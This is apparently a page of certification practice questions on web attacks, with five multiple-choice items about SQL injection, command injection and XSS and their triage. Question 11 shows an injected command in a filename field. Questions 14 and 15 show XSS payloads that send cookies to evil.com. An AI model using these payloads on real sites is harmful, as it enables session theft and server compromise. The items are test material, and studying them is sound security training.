2.6 Describe Web Application Attacks, Such as SQL Injection, Command Injections, and Cross-Site Scripting 200-201 Practice Questions (Page 3)

Questions 11–15

1. 11application · medium

   A web application has a feature that allows users to generate a PDF report by passing a filename to a server-side script. A security analyst discovers that submitting `report.pdf; whoami` causes the server to return the username of the web server process. Which attack is this?

   • AReflected XSS
   • BCommand injection
   • CStored XSS
   • DSQL injection
   Reveal Solution Discussion Select an answer first
2. 12expert · hard

   A security analyst is reviewing a web application that has multiple vulnerabilities. The application has a login form that is vulnerable to SQL injection, a search feature that is vulnerable to reflected XSS, and a file upload feature that is vulnerable to command injection. The analyst has limited time and resources to fix the vulnerabilities. The application is internet-facing and handles sensitive customer data. Which vulnerability should be fixed first?

   • AAll vulnerabilities should be fixed simultaneously
   • BReflected XSS in the search feature
   • CSQL injection in the login form
   • DCommand injection in the file upload feature
   Reveal Solution Discussion Select an answer first
4. 13expert · hard

   A security analyst is investigating a series of alerts. The web application has a search feature that reflects user input in the page, a comment feature that stores user input, and a diagnostic page that passes user input to a shell command. The analyst finds that the application does not validate or encode any user input. Which of the following is the most likely sequence of attacks that an attacker could use to achieve persistent access to the server?

   • AUse SQL injection on the login form to extract the administrator's password hash, then use the hash to log in and access the diagnostic page.
   • BUse reflected XSS in the search feature to steal a regular user's session cookie, then use that session to perform SQL injection on the login form.
   • CUse command injection on the diagnostic page to read the database credentials, then use those credentials to perform SQL injection on the login form.
   • DUse stored XSS in the comment feature to steal an administrator's session cookie, then use the administrator's session to access the diagnostic page and execute a command injection payload.
   Reveal Solution Discussion Select an answer first
5. 14expert · hard

   A security analyst is investigating a web application that has been compromised. The analyst finds the following evidence: (1) A user comment containing `<script>document.location='https://evil.com?c='+document.cookie</script>` was posted and is displayed to all visitors. (2) The application also has a search feature that reflects user input without encoding. (3) The application uses a database that is vulnerable to SQL injection. The analyst needs to prioritize the most critical vulnerability that allows an attacker to steal session cookies of all visitors. Which vulnerability should be addressed first?

   • ASQL injection in the database
   • BReflected XSS in the search feature
   • CStored XSS in the comment feature
   • DCommand injection in the server
   Reveal Solution Discussion Select an answer first
6. 15application · medium

   A security analyst is triaging alerts from a web application. The application has a search feature that reflects the user's query in the page title. An attacker sends a link to a victim: `https://example.com/search?q=<script>fetch('https://evil.com?c='+document.cookie)</script>`. The victim clicks the link and the script executes. Which attack is this, and what is the most effective mitigation?

   • ASQL injection; use parameterized queries to prevent the query from being interpreted as SQL.
   • BReflected XSS; encode all user-supplied data before placing it in the HTML response.
   • CCommand injection; validate the query parameter to prevent OS command execution.
   • DStored XSS; sanitize the input before storing it in the database.
   Reveal Solution Discussion Select an answer first